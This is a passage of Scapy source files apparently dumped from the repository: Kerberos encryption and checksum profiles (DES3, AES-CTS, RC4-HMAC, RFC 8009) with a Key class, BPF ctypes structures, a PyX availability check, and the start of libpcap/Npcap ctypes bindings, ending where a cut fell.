int\n                # Return b with the low-order bit set to yield odd parity.\n                b &= ~1\n                return b if bin(b & ~1).count(\"1\") % 2 else b | 1\n\n            assert len(seed) == 7\n            firstbytes = [parity(b & ~1) for b in seed]\n            lastbyte = parity(sum((seed[i] & 1) << i + 1 for i in range(7)))\n            keybytes = bytearray(firstbytes + [lastbyte])\n            if bytes(keybytes) in WEAK_DES_KEYS:\n                keybytes[7] = keybytes[7] ^ 0xF0\n            return bytes(keybytes)\n\n        if len(seed) != 21:\n            raise ValueError(\"Wrong seed length\")\n        k1, k2, k3 = expand(seed[:7]), expand(seed[7:14]), expand(seed[14:])\n        return Key(cls.etype, key=k1 + k2 + k3)\n\n    @classmethod\n    def string_to_key(cls, string, salt, params):\n        # type: (bytes, bytes, Optional[bytes]) -> Key\n        if params is not None and params != b\"\":\n            raise ValueError(\"Invalid DES3 string-to-key parameters\")\n        k = cls.random_to_key(_n_fold(string + salt, 21))\n        return Key(\n            cls.etype,\n            key=cls.derive(k, b\"kerberos\"),\n        )\n\n    @classmethod\n    def basic_encrypt(cls, key, plaintext):\n        # type: (bytes, bytes) -> bytes\n        assert len(plaintext) % 8 == 0\n        des3 = Cipher(\n            decrepit_algorithms.TripleDES(key), modes.CBC(b\"\\0\" * 8)\n        ).encryptor()\n        return des3.update(bytes(plaintext))\n\n    @classmethod\n    def basic_decrypt(cls, key, ciphertext):\n        # type: (bytes, bytes) -> bytes\n        assert len(ciphertext) % 8 == 0\n        des3 = Cipher(\n            decrepit_algorithms.TripleDES(key), modes.CBC(b\"\\0\" * 8)\n        ).decryptor()\n        return des3.update(bytes(ciphertext))\n\n\nclass _SHA1DES3(_SimplifiedChecksum):\n    macsize = 20\n    enc = _DES3CBC\n\n\n############\n# RFC 3962 #\n############\n\n\n# RFC3962 sect 6\n\n\nclass _AESEncryptionType_SHA1_96(_SimplifiedEncryptionProfile, abc.ABCMeta):\n    blocksize = 16\n    padsize = 1\n    macsize = 12\n    hashmod = Hash_SHA\n\n    @classmethod\n    def string_to_key(cls, string, salt, params):\n        # type: (bytes, bytes, Optional[bytes]) -> Key\n        iterations = struct.unpack(\">L\", params or b\"\\x00\\x00\\x10\\x00\")[0]\n        kdf = PBKDF2HMAC(\n            algorithm=hashes.SHA1(),\n            length=cls.seedsize,\n            salt=salt,\n            iterations=iterations,\n        )\n        tkey = cls.random_to_key(kdf.derive(string))\n        return Key(\n            cls.etype,\n            key=cls.derive(tkey, b\"kerberos\"),\n        )\n\n    # basic_encrypt and basic_decrypt implement AES in CBC-CS3 mode\n\n    @classmethod\n    def basic_encrypt(cls, key, plaintext):\n        # type: (bytes, bytes) -> bytes\n        assert len(plaintext) >= 16\n        aes = Cipher(algorithms.AES(key), modes.CBC(b\"\\0\" * 16)).encryptor()\n        ctext = aes.update(_zeropad(bytes(plaintext), 16))\n        if len(plaintext) > 16:\n            # Swap the last two ciphertext blocks and truncate the\n            # final block to match the plaintext length.\n            lastlen = len(plaintext) % 16 or 16\n            ctext = ctext[:-32] + ctext[-16:] + ctext[-32:-16][:lastlen]\n        return ctext\n\n    @classmethod\n    def basic_decrypt(cls, key, ciphertext):\n        # type: (bytes, bytes) -> bytes\n        assert len(ciphertext) >= 16\n        aes = Cipher(algorithms.AES(key), modes.ECB()).decryptor()\n        if len(ciphertext) == 16:\n            return aes.update(ciphertext)\n        # Split the ciphertext into blocks.  The last block may be partial.\n        cblocks = [\n            bytearray(ciphertext[p : p + 16]) for p in range(0, len(ciphertext), 16)\n        ]\n        lastlen = len(cblocks[-1])\n        # CBC-decrypt all but the last two blocks.\n        prev_cblock = bytearray(16)\n        plaintext = b\"\"\n        for bb in cblocks[:-2]:\n            plaintext += _xorbytes(bytearray(aes.update(bytes(bb))), prev_cblock)\n            prev_cblock = bb\n        # Decrypt the second-to-last cipher block.  The left side of\n        # the decrypted block will be the final block of plaintext\n        # xor'd with the final partial cipher block; the right side\n        # will be the omitted bytes of ciphertext from the final\n        # block.\n        bb = bytearray(aes.update(bytes(cblocks[-2])))\n        lastplaintext = _xorbytes(bb[:lastlen], cblocks[-1])\n        omitted = bb[lastlen:]\n        # Decrypt the final cipher block plus the omitted bytes to get\n        # the second-to-last plaintext block.\n        plaintext += _xorbytes(\n            bytearray(aes.update(bytes(cblocks[-1]) + bytes(omitted))), prev_cblock\n        )\n        return plaintext + lastplaintext\n\n\n# RFC3962 sect 7\n\n\nclass _AES128CTS_SHA1_96(_AESEncryptionType_SHA1_96):\n    etype = EncryptionType.AES128_CTS_HMAC_SHA1_96\n    keysize = 16\n    seedsize = 16\n    reqcksum = ChecksumType.HMAC_SHA1_96_AES128\n\n\nclass _AES256CTS_SHA1_96(_AESEncryptionType_SHA1_96):\n    etype = EncryptionType.AES256_CTS_HMAC_SHA1_96\n    keysize = 32\n    seedsize = 32\n    reqcksum = ChecksumType.HMAC_SHA1_96_AES256\n\n\nclass _SHA1_96_AES128(_SimplifiedChecksum):\n    macsize = 12\n    enc = _AES128CTS_SHA1_96\n\n\nclass _SHA1_96_AES256(_SimplifiedChecksum):\n    macsize = 12\n    enc = _AES256CTS_SHA1_96\n\n\n############\n# RFC 4757 #\n############\n\n# RFC4757 sect 4\n\n\nclass _HMACMD5(_ChecksumProfile):\n    macsize = 16\n\n    @classmethod\n    def checksum(cls, key, keyusage, text):\n        # type: (Key, int, bytes) -> bytes\n        ksign = Hmac_MD5(key.key).digest(b\"signaturekey\\0\")\n        md5hash = Hash_MD5().digest(_RC4.usage_str(keyusage) + text)\n        return Hmac_MD5(ksign).digest(md5hash)\n\n    @classmethod\n    def verify(cls, key, keyusage, text, cksum):\n        # type: (Key, int, bytes, bytes) -> None\n        if key.etype not in [EncryptionType.RC4_HMAC, EncryptionType.RC4_HMAC_EXP]:\n            raise ValueError(\"Wrong key type for checksum\")\n        super(_HMACMD5, cls).verify(key, keyusage, text, cksum)\n\n\n# RFC4757 sect 5\n\n\nclass _RC4(_EncryptionAlgorithmProfile):\n    etype = EncryptionType.RC4_HMAC\n    keysize = 16\n    seedsize = 16\n    reqcksum = ChecksumType.HMAC_MD5\n    export = False\n\n    @staticmethod\n    def usage_str(keyusage):\n        # type: (int) -> bytes\n        # Return a four-byte string for an RFC 3961 keyusage, using\n        # the RFC 4757 rules sect 3. Per the errata, do not map 9 to 8.\n        table = {3: 8, 23: 13}\n        msusage = table[keyusage] if keyusage in table else keyusage\n        return struct.pack(\"<I\", msusage)\n\n    @classmethod\n    def string_to_key(cls, string, salt, params):\n        # type: (bytes, bytes, Optional[bytes]) -> Key\n        if params is not None and params != b\"\":\n            raise ValueError(\"Invalid RC4 string-to-key parameters\")\n        utf16string = plain_str(string).encode(\"UTF-16LE\")\n        return Key(cls.etype, key=Hash_MD4().digest(utf16string))\n\n    @classmethod\n    def encrypt(cls, key, keyusage, plaintext, confounder):\n        # type: (Key, int, bytes, Optional[bytes]) -> bytes\n        if confounder is None:\n            confounder = os.urandom(8)\n        if cls.export:\n            ki = Hmac_MD5(key.key).digest(b\"fortybits\\x00\" + cls.usage_str(keyusage))\n        else:\n            ki = Hmac_MD5(key.key).digest(cls.usage_str(keyusage))\n        cksum = Hmac_MD5(ki).digest(confounder + plaintext)\n        if cls.export:\n            ki = ki[:7] + b\"\\xab\" * 9\n        ke = Hmac_MD5(ki).digest(cksum)\n        rc4 = Cipher(algorithms.ARC4(ke), mode=None).encryptor()\n        return cksum + rc4.update(bytes(confounder + plaintext))\n\n    @classmethod\n    def decrypt(cls, key, keyusage, ciphertext):\n        # type: (Key, int, bytes) -> bytes\n        if len(ciphertext) < 24:\n            raise ValueError(\"ciphertext too short\")\n        cksum, basic_ctext = ciphertext[:16], ciphertext[16:]\n        if cls.export:\n            ki = Hmac_MD5(key.key).digest(b\"fortybits\\x00\" + cls.usage_str(keyusage))\n        else:\n            ki = Hmac_MD5(key.key).digest(cls.usage_str(keyusage))\n        if cls.export:\n            kie = ki[:7] + b\"\\xab\" * 9\n        else:\n            kie = ki\n        ke = Hmac_MD5(kie).digest(cksum)\n        rc4 = Cipher(decrepit_algorithms.ARC4(ke), mode=None).decryptor()\n        basic_plaintext = rc4.update(bytes(basic_ctext))\n        exp_cksum = Hmac_MD5(ki).digest(basic_plaintext)\n        ok = _mac_equal(cksum, exp_cksum)\n        if not ok and keyusage == 9:\n            # Try again with usage 8, due to RFC 4757 errata.\n            ki = Hmac_MD5(key.key).digest(struct.pack(\"<I\", 8))\n            exp_cksum = Hmac_MD5(ki).digest(basic_plaintext)\n            ok = _mac_equal(cksum, exp_cksum)\n        if not ok:\n            raise InvalidChecksum(\"ciphertext integrity failure\")\n        # Discard the confounder.\n        return bytes(basic_plaintext[8:])\n\n    @classmethod\n    def prf(cls, key, string):\n        # type: (Key, bytes) -> bytes\n        return Hmac_SHA(key.key).digest(string)\n\n\nclass _RC4_EXPORT(_RC4):\n    etype = EncryptionType.RC4_HMAC_EXP\n    export = True\n\n\n############\n# RFC 8009 #\n############\n\n\nclass _AESEncryptionType_SHA256_SHA384(_AESEncryptionType_SHA1_96, abc.ABCMeta):\n    enctypename = None  # type: bytes\n    hashmod: _GenericHash = None  # Scapy\n    _hashmod: hashes.HashAlgorithm = None  # Cryptography\n\n    # Turn on RFC 8009 mode\n    rfc8009 = True\n\n    @classmethod\n    def derive(cls, key, label, k, context=b\"\"):  # type: ignore\n        # type: (Key, bytes, int, bytes) -> bytes\n        \"\"\"\n        Also known as \"KDF-HMAC-SHA2\" in RFC8009.\n        \"\"\"\n        # RFC 8009 sect 3\n        return SP800108_KDFCTR(\n            K_I=key.key,\n            Label=label,\n            Context=context,\n            L=k,\n            hashmod=cls.hashmod,\n        )\n\n    @classmethod\n    def string_to_key(cls, string, salt, params):\n        # type: (bytes, bytes, Optional[bytes]) -> Key\n        # RFC 8009 sect 4\n        iterations = struct.unpack(\">L\", params or b\"\\x00\\x00\\x80\\x00\")[0]\n        saltp = cls.enctypename + b\"\\x00\" + salt\n        kdf = PBKDF2HMAC(\n            algorithm=cls._hashmod(),\n            length=cls.seedsize,\n            salt=saltp,\n            iterations=iterations,\n        )\n        tkey = cls.random_to_key(kdf.derive(string))\n        return Key(\n            cls.etype,\n            key=cls.derive(tkey, b\"kerberos\", cls.keysize * 8),\n        )\n\n    @classmethod\n    def prf(cls, key, string):\n        # type: (Key, bytes) -> bytes\n        return cls.derive(key, b\"prf\", cls.hashmod.hash_len * 8, string)\n\n\nclass _AES128CTS_SHA256_128(_AESEncryptionType_SHA256_SHA384):\n    etype = EncryptionType.AES128_CTS_HMAC_SHA256_128\n    keysize = 16\n    seedsize = 16\n    macsize = 16\n    reqcksum = ChecksumType.HMAC_SHA256_128_AES128\n    # _AESEncryptionType_SHA256_SHA384 parameters\n    enctypename = b\"aes128-cts-hmac-sha256-128\"\n    hashmod = Hash_SHA256\n    _hashmod = hashes.SHA256\n\n\nclass _AES256CTS_SHA384_192(_AESEncryptionType_SHA256_SHA384):\n    etype = EncryptionType.AES256_CTS_HMAC_SHA384_192\n    keysize = 32\n    seedsize = 32\n    macsize = 24\n    reqcksum = ChecksumType.HMAC_SHA384_192_AES256\n    # _AESEncryptionType_SHA256_SHA384 parameters\n    enctypename = b\"aes256-cts-hmac-sha384-192\"\n    hashmod = Hash_SHA384\n    _hashmod = hashes.SHA384\n\n\nclass _SHA256_128_AES128(_SimplifiedChecksum):\n    macsize = 16\n    enc = _AES128CTS_SHA256_128\n    rfc8009 = True\n\n\nclass _SHA384_182_AES256(_SimplifiedChecksum):\n    macsize = 24\n    enc = _AES256CTS_SHA384_192\n    rfc8009 = True\n\n\n##############\n# Key object #\n##############\n\n_enctypes = {\n    # DES_CBC_CRC - UNIMPLEMENTED\n    EncryptionType.DES_CBC_MD5: _DESMD5,\n    EncryptionType.DES_CBC_MD4: _DESMD4,\n    # DES3_CBC_SHA1 - UNIMPLEMENTED\n    EncryptionType.DES3_CBC_SHA1_KD: _DES3CBC,\n    EncryptionType.AES128_CTS_HMAC_SHA1_96: _AES128CTS_SHA1_96,\n    EncryptionType.AES256_CTS_HMAC_SHA1_96: _AES256CTS_SHA1_96,\n    EncryptionType.AES128_CTS_HMAC_SHA256_128: _AES128CTS_SHA256_128,\n    EncryptionType.AES256_CTS_HMAC_SHA384_192: _AES256CTS_SHA384_192,\n    # CAMELLIA128-CTS-CMAC - UNIMPLEMENTED\n    # CAMELLIA256-CTS-CMAC - UNIMPLEMENTED\n    EncryptionType.RC4_HMAC: _RC4,\n    EncryptionType.RC4_HMAC_EXP: _RC4_EXPORT,\n}\n\n\n_checksums = {\n    ChecksumType.CRC32: _CRC32,\n    # RSA_MD4 - UNIMPLEMENTED\n    # RSA_MD4_DES - UNIMPLEMENTED\n    # RSA_MD5 - UNIMPLEMENTED\n    # RSA_MD5_DES - UNIMPLEMENTED\n    # SHA1 - UNIMPLEMENTED\n    ChecksumType.HMAC_SHA1_DES3_KD: _SHA1DES3,\n    # HMAC_SHA1_DES3 - UNIMPLEMENTED\n    ChecksumType.HMAC_SHA1_96_AES128: _SHA1_96_AES128,\n    ChecksumType.HMAC_SHA1_96_AES256: _SHA1_96_AES256,\n    # CMAC-CAMELLIA128 - UNIMPLEMENTED\n    # CMAC-CAMELLIA256 - UNIMPLEMENTED\n    ChecksumType.HMAC_SHA256_128_AES128: _SHA256_128_AES128,\n    ChecksumType.HMAC_SHA384_192_AES256: _SHA384_182_AES256,\n    ChecksumType.HMAC_MD5: _HMACMD5,\n    0xFFFFFF76: _HMACMD5,\n}\n\n\nclass Key(object):\n    def __init__(\n        self,\n        etype: Union[EncryptionType, int, None] = None,\n        key: bytes = b\"\",\n        cksumtype: Union[ChecksumType, int, None] = None,\n    ) -> None:\n        \"\"\"\n        Kerberos Key object.\n\n        :param etype: the EncryptionType\n        :param cksumtype: the ChecksumType\n        :param key: the bytes containing the key bytes for this Key.\n        \"\"\"\n        assert etype or cksumtype, \"Provide an etype or a cksumtype !\"\n        assert key, \"Provide a key !\"\n        if isinstance(etype, int):\n            etype = EncryptionType(etype)\n        if isinstance(cksumtype, int):\n            cksumtype = ChecksumType(cksumtype)\n        self.etype = etype\n        if etype is not None:\n            try:\n                self.ep = _enctypes[etype]\n            except ValueError:\n                raise ValueError(\"UNKNOWN/UNIMPLEMENTED etype '%s'\" % etype)\n            if len(key) != self.ep.keysize:\n                raise ValueError(\n                    \"Wrong key length. Got %s. Expected %s\"\n                    % (len(key), self.ep.keysize)\n                )\n            if cksumtype is None and self.ep.reqcksum in _checksums:\n                cksumtype = self.ep.reqcksum\n        self.cksumtype = cksumtype\n        if cksumtype is not None:\n            try:\n                self.cp = _checksums[cksumtype]\n            except ValueError:\n                raise ValueError(\"UNKNOWN/UNIMPLEMENTED cksumtype '%s'\" % cksumtype)\n            if self.etype is None and issubclass(self.cp, _SimplifiedChecksum):\n                self.etype = self.cp.enc.etype  # type: ignore\n        self.key = key\n\n    def __repr__(self):\n        # type: () -> str\n        if self.etype:\n            name = self.etype.name\n        elif self.cksumtype:\n            name = self.cksumtype.name\n        else:\n            return \"<Key UNKNOWN>\"\n        return \"<Key %s%s>\" % (\n            name,\n            \" (%s octets)\" % len(self.key),\n        )\n\n    def encrypt(self, keyusage, plaintext, confounder=None, **kwargs):\n        # type: (int, bytes, Optional[bytes], **Any) -> bytes\n        \"\"\"\n        Encrypt data using the current Key.\n\n        :param keyusage: the key usage\n        :param plaintext: the plain text to encrypt\n        :param confounder: (optional) choose the confounder. Otherwise random.\n        \"\"\"\n        return self.ep.encrypt(self, keyusage, bytes(plaintext), confounder, **kwargs)\n\n    def decrypt(self, keyusage, ciphertext, **kwargs):\n        # type: (int, bytes, **Any) -> bytes\n        \"\"\"\n        Decrypt data using the current Key.\n\n        :param keyusage: the key usage\n        :param ciphertext: the encrypted text to decrypt\n        \"\"\"\n        # Throw InvalidChecksum on checksum failure.  Throw ValueError on\n        # invalid key enctype or malformed ciphertext.\n        return self.ep.decrypt(self, keyusage, ciphertext, **kwargs)\n\n    def prf(self, string):\n        # type: (bytes) -> bytes\n        return self.ep.prf(self, string)\n\n    def make_checksum(self, keyusage, text, cksumtype=None, **kwargs):\n        # type: (int, bytes, Optional[int], **Any) -> bytes\n        \"\"\"\n        Create a checksum using the current Key.\n\n        :param keyusage: the key usage\n        :param text: the text to create a checksum from\n        :param cksumtype: (optional) override the checksum type\n        \"\"\"\n        if cksumtype is not None and cksumtype != self.cksumtype:\n            # Clone key and use a different cksumtype\n            return Key(\n                cksumtype=cksumtype,\n                key=self.key,\n            ).make_checksum(keyusage=keyusage, text=text, **kwargs)\n        if self.cksumtype is None:\n            raise ValueError(\"cksumtype not specified !\")\n        return self.cp.checksum(self, keyusage, text, **kwargs)\n\n    def verify_checksum(self, keyusage, text, cksum, cksumtype=None):\n        # type: (int, bytes, bytes, Optional[int]) -> None\n        \"\"\"\n        Verify a checksum using the current Key.\n\n        :param keyusage: the key usage\n        :param text: the text to verify\n        :param cksum: the expected checksum\n        :param cksumtype: (optional) override the checksum type\n        \"\"\"\n        if cksumtype is not None and cksumtype != self.cksumtype:\n            # Clone key and use a different cksumtype\n            return Key(\n                cksumtype=cksumtype,\n                key=self.key,\n            ).verify_checksum(keyusage=keyusage, text=text, cksum=cksum)\n        # Throw InvalidChecksum exception on checksum failure.  Throw\n        # ValueError on invalid cksumtype, invalid key enctype, or\n        # malformed checksum.\n        if self.cksumtype is None:\n            raise ValueError(\"cksumtype not specified !\")\n        self.cp.verify(self, keyusage, text, cksum)\n\n    @classmethod\n    def random_to_key(cls, etype, seed):\n        # type: (EncryptionType, bytes) -> Key\n        \"\"\"\n        random-to-key per RFC3961\n\n        This is used to create a random Key from a seed.\n        \"\"\"\n        try:\n            ep = _enctypes[etype]\n        except ValueError:\n            raise ValueError(\"Unknown etype '%s'\" % etype)\n        if len(seed) != ep.seedsize:\n            raise ValueError(\"Wrong crypto seed length\")\n        return ep.random_to_key(seed)\n\n    @classmethod\n    def new_random_key(cls, etype):\n        # type: (EncryptionType) -> Key\n        \"\"\"\n        Generates a seed then calls random-to-key\n        \"\"\"\n        try:\n            ep = _enctypes[etype]\n        except ValueError:\n            raise ValueError(\"Unknown etype '%s'\" % etype)\n        return cls.random_to_key(etype, os.urandom(ep.seedsize))\n\n    @classmethod\n    def string_to_key(cls, etype, string, salt, params=None):\n        # type: (EncryptionType, bytes, bytes, Optional[bytes]) -> Key\n        \"\"\"\n        string-to-key per RFC3961\n\n        This is typically used to create a Key object from a password + salt\n        \"\"\"\n        try:\n            ep = _enctypes[etype]\n        except ValueError:\n            raise ValueError(\"Unknown etype '%s'\" % etype)\n        return ep.string_to_key(string, salt, params)\n\n\n############\n# RFC 6113 #\n############\n\n\ndef KRB_FX_CF2(key1, key2, pepper1, pepper2):\n    # type: (Key, Key, bytes, bytes) -> Key\n    \"\"\"\n    KRB-FX-CF2 RFC6113\n    \"\"\"\n\n    def prfplus(key, pepper):\n        # type: (Key, bytes) -> bytes\n        # Produce l bytes of output using the RFC 6113 PRF+ function.\n        out = b\"\"\n        count = 1\n        while len(out) < key.ep.seedsize:\n            out += key.prf(chb(count) + pepper)\n            count += 1\n        return out[: key.ep.seedsize]\n\n    return Key(\n        key1.etype,\n        key=bytes(\n            _xorbytes(\n                bytearray(prfplus(key1, pepper1)), bytearray(prfplus(key2, pepper2))\n            )\n        ),\n    )\n\n\n############\n# RFC 4556 #\n############\n\ndef octetstring2key(etype: EncryptionType, x: bytes) -> Key:\n    \"\"\"\n    RFC4556 octetstring2key::\n\n        octetstring2key(x) == random-to-key(K-truncate(\n                            SHA1(0x00 | x) |\n                            SHA1(0x01 | x) |\n                            SHA1(0x02 | x) |\n                            ...\n                            ))\n    \"\"\"\n    try:\n        ep = _enctypes[etype]\n    except ValueError:\n        raise ValueError(\"Unknown etype '%s'\" % etype)\n\n    out = b\"\"\n    count = 0\n    while len(out) < ep.keysize:\n        out += Hash_SHA().digest(struct.pack(\"!B\", count) + x)\n        count += 1\n\n    return Key.random_to_key(\n        etype=etype,\n        seed=out[:ep.keysize],\n    )\n"
  },
  {
    "path": "scapy/libs/structures.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nCommonly used structures shared across Scapy\n\"\"\"\n\nimport ctypes\n\n\nclass bpf_insn(ctypes.Structure):\n    \"\"\"\"The BPF instruction data structure\"\"\"\n    _fields_ = [(\"code\", ctypes.c_ushort),\n                (\"jt\", ctypes.c_ubyte),\n                (\"jf\", ctypes.c_ubyte),\n                (\"k\", ctypes.c_int)]\n\n\nclass bpf_program(ctypes.Structure):\n    \"\"\"\"Structure for BIOCSETF\"\"\"\n    _fields_ = [('bf_len', ctypes.c_int),\n                ('bf_insns', ctypes.POINTER(bpf_insn))]\n\n\nclass sock_fprog(ctypes.Structure):\n    \"\"\"\"Structure for SO_ATTACH_FILTER\"\"\"\n    _fields_ = [('len', ctypes.c_ushort),\n                ('filter', ctypes.POINTER(bpf_insn))]\n"
  },
  {
    "path": "scapy/libs/test_pyx.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nExternal link to pyx\n\"\"\"\n\nimport os\nimport subprocess\nfrom scapy.error import log_loading\n\n# Notice: this file must not be called before main.py, if started\n# in interactive mode, because it needs to be called after the\n# logger has been setup, to be able to print the warning messages\n\n__all__ = [\n    \"PYX\",\n]\n\n# PYX\n\n\ndef _test_pyx():\n    # type: () -> bool\n    \"\"\"Returns if PyX is correctly installed or not\"\"\"\n    try:\n        with open(os.devnull, 'wb') as devnull:\n            r = subprocess.check_call([\"pdflatex\", \"--version\"],\n                                      stdout=devnull, stderr=subprocess.STDOUT)\n    except (subprocess.CalledProcessError, OSError):\n        return False\n    else:\n        return r == 0\n\n\ntry:\n    import pyx  # noqa: F401\n    if _test_pyx():\n        PYX = 1\n    else:\n        log_loading.info(\"PyX dependencies are not installed ! Please install TexLive or MikTeX.\")  # noqa: E501\n        PYX = 0\nexcept ImportError:\n    log_loading.info(\"Can't import PyX. Won't be able to use psdump() or pdfdump().\")  # noqa: E501\n    PYX = 0\n"
  },
  {
    "path": "scapy/libs/winpcapy.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Massimo Ciani (2009)\n# Copyright (C) Gabriel Potter\n\n# Modified for scapy's usage - To support Npcap/Monitor mode\n#\n# NOTE: the \"winpcap\" in the name notwithstanding, this is for use\n# with libpcap on non-Windows platforms, as well as for WinPcap and Npcap.\n\nfrom ctypes import *\nfrom ctypes.util import find_library\nimport os\n\nfrom scapy.libs.structures import bpf_program\nfrom scapy.consts import WINDOWS, BSD\n\nif WINDOWS:\n    # Try to load Npcap, or Winpcap\n    SOCKET = c_uint\n    npcap_folder = os.environ[\"WINDIR\"] + \"\\\\System32\\\\Npcap\"\n    if os.path.exists(npcap_folder):\n        # Try to load npcap\n        os.environ['PATH'] = npcap_folder + \";\" + os.environ['PATH']\n        # Set DLL directory priority\n        windll.kernel32.SetDllDirectoryW(npcap_folder)\n        # Packet.dll is unused, but needs to overwrite the winpcap one if it\n        # exists\n        cdll.LoadLibrary(npcap_folder + \"\\\\Packet.dll\")\n        _lib = cdll.LoadLibrary(npcap_folder + \"\\\\wpcap.dll\")\n    else:\n        _lib = CDLL(\"wpcap.dll\")\n    del npcap_folder\nelse:\n    # Try to load libpcap\n    SOCKET = c_int\n    _lib_name = find_library(\"pcap\")\n    if not _lib_name:\n        raise OSError(\"Cannot find libpcap.so library\")\n    _lib = CDLL(_lib_name)\n\n\n##\n# misc\n##\nu_short = c_ushort\nbpf_int32 = c_int\nu_int = c_int\nbpf_u_int32 = u_int\npcap = c_void_p\npcap_dumper = c_void_p\nu_char = c_ubyte\nFILE = c_void_p\nSTRING = c_char_p\n\n\nclass bpf_version(Structure):\n    _fields_ = [(\"bv_major\", c_ushort),\n                (\"bv_minor\", c_ushort)]\n\n\nclass timeval(Structure):\n    _fields_ = [('tv_sec', c_long),\n                ('tv_usec', c_long)]\n\n\n# sockaddr is used by pcap_addr.\n# For example if sa_family==socket.AF_INET then we need cast\n# with sockaddr_in\n\n# sockaddr has a different structure depending on the OS\nif BSD:\n    # https://github.com/freebsd/freebsd/blob/master/sys/sys/socket.h\n    # https://opensource.apple.com/source/xnu/xnu-201/bsd/sys/socket.h.auto.html\n    class sockaddr(Structure):\n        _fields_ = [(\"sa_len\", c_ubyte),\n                    (\"sa_family\", c_ubyte),\n                    (\"sa_data\", c_ubyte * 14)]\n\n    class sockaddr_in(Structure):\n        _fields_ = [(\"sin_len\", c_ubyte),\n                    (\"sin_family\", c_ubyte),\n                    (\"sin_port\", c_uint16),\n                    (\"sin_addr\", 4 * c_ubyte),\n                    (\"sin_zero\", 8 * c_char)]\n\n    class sockaddr_in6(Structure):\n        _fields_ = [(\"sin6_len\", c_ubyte),\n                    (\"sin6_family\", c_ubyte),\n                    (\"sin6_port\", c_uint16),\n                    (\"sin6_flowinfo\", c_uint32),\n                    (\"sin6_addr\", 16 * c_ubyte),\n                    (\"sin6_scope\", c_uint32)]\n\n    class sockaddr_dl(Structure):\n        _fields_ = [(\"sdl_len\", c_ubyte),\n                    (\"sdl_family\", c_ubyte),\n                    (\"sdl_index\", c_ushort),\n                    (\"sdl_type\", c_ubyte),\n                    (\"sdl_nlen\", c_ubyte),\n                    (\"sdl_alen\", c_ubyte),\n                    (\"sdl_slen\", c_ubyte),\n                    (\"sdl_data\", 46 * c_ubyte)]\n\nelse:\n    # https://github.com/torvalds/linux/blob/master/include/linux/socket.h\n    # https://docs.microsoft.com/en-us/windows/win32/winsock/sockaddr-2\n    class sockaddr(Structure):\n        _fields_ = [(\"sa_family\", c_ushort),\n                    (\"sa_data\", c_ubyte * 14)]\n\n    class sockaddr_in(Structure):\n        _fields_ = [(\"sin_family\", c_ushort),\n                    (\"sin_port\", c_uint16),\n                    (\"sin_addr\", 4 * c_ubyte)]\n\n    class sockaddr_in6(Structure):\n        _fields_ = [(\"sin6_family\", c_ushort),\n                    (\"sin6_port\", c_uint16),\n                    (\"sin6_flowinfo\", c_uint32),\n                    (\"sin6_addr\", 16 * c_ubyte),\n                    (\"sin6_scope\", c_uint32)]\n\n##\n# END misc\n##\n\n##\n# Data Structures\n##\n\n# struct   pcap_file_header\n# Header of a libpcap dump file.\n\n\nclass pcap_file_header(Structure):\n    _fields_ = [('magic', bpf_u_int32),\n                ('version_major', u_short),\n                ('version_minor', u_short),\n                ('thiszone', bpf_int32),\n                ('sigfigs', bpf_u_int32),\n                ('snaplen', bpf_u_int32),\n                ('linktype', bpf_u_int32)]\n\n# struct   pcap_pkthdr\n# Header of a packet in the dump file.\n\n\nclass pcap_pkthdr(Structure):\n    _fields_ = [('ts', timeval),\n                ('caplen', bpf_u_int32),\n                ('len', bpf_u_int32)]\n\n# struct   pcap_stat\n# Structure that keeps statistical values on an interface.\n\n\nclass pcap_stat(Structure):\n    pass\n\n\n# _fields_ list in Structure is final.\n# We need a temp list\n_tmpList = [(\"ps_recv\", c_uint), (\"ps_drop\", c_uint), (\"ps_ifdrop\", c_uint)]\nif WINDOWS:\n    _tmpList.append((\"ps_capt\", c_uint))\n    _tmpList.append((\"ps_sent\", c_uint))\n    _tmpList.append((\"ps_netdrop\", c_uint))\npcap_stat._fields_ = _tmpList\n\n# struct   pcap_addr\n# Representation of an interface address, used by pcap_findalldevs().\n\n\nclass pcap_addr(Structure):\n    pass\n\n\npcap_addr._fields_ = [('next', POINTER(pcap_addr)),\n                      ('addr', POINTER(sockaddr)),\n                      ('netmask', POINTER(sockaddr)),\n                      ('broadaddr', POINTER(sockaddr)),\n                      ('dstaddr', POINTER(sockaddr))]\n\n# struct   pcap_if\n# Item in a list of interfaces, used by pcap_findalldevs().\n\n\nclass pcap_if(Structure):\n    pass\n\n\npcap_if._fields_ = [('next', POINTER(pcap_if)),\n                    ('name', STRING),\n                    ('description', STRING),\n                    ('addresses', POINTER(pcap_addr)),\n                    ('flags', bpf_u_int32)]\n\n##\n# END Data Structures\n##\n\n##\n# Defines\n##\n\n\n# define  PCAP_VERSION_MAJOR   2\n#   Major libpcap dump file version.\nPCAP_VERSION_MAJOR = 2\n# define  PCAP_VERSION_MINOR   4\n#   Minor libpcap dump file version.\nPCAP_VERSION_MINOR = 4\n# define  PCAP_ERRBUF_SIZE   256\n#   Size to use when allocating the buffer that contains the libpcap errors.\nPCAP_ERRBUF_SIZE = 256\n# define  PCAP_IF_LOOPBACK   0x00000001\n#   interface is loopback\nPCAP_IF_LOOPBACK = 1\n# define  MODE_CAPT   0\n#   Capture mode, to be used when calling pcap_setmode().\nMODE_CAPT = 0\n# define  MODE_STAT   1\n#   Statistical mode, to be used when calling pcap_setmode().\nMODE_STAT = 1\n\n#   Error codes for the pcap API.\n#   These will all be negative, so you can check for the success or\n#   failure of a call that returns these codes by checking for a\n#   negative value.\n#\n#   generic error code\n# define PCAP_ERROR\t\t\t-1\nPCAP_ERROR = -1\n#   loop terminated by pcap_breakloop\n# define PCAP_ERROR_BREAK\t\t-2\nPCAP_ERROR_BREAK = -2\n#   the capture needs to be activated\n# define PCAP_ERROR_NOT_ACTIVATED\t-3\nPCAP_ERROR_NOT_ACTIVATED = -3\n#   the operation can't be performed on already activated captures\n# define PCAP_ERROR_ACTIVATED\t\t-4\nPCAP_ERROR_ACTIVATED = -4\n#   no such device exists\n# define PCAP_ERROR_NO_SUCH_DEVICE\t-5\nPCAP_ERROR_NO_SUCH_DEVICE = -5\n#   this device doesn't support rfmon (monitor) mode */\n# define PCAP_ERROR_RFMON_NOTSUP\t-6\nPCAP_ERROR_RFMON_NOTSUP = -6\n#   operation 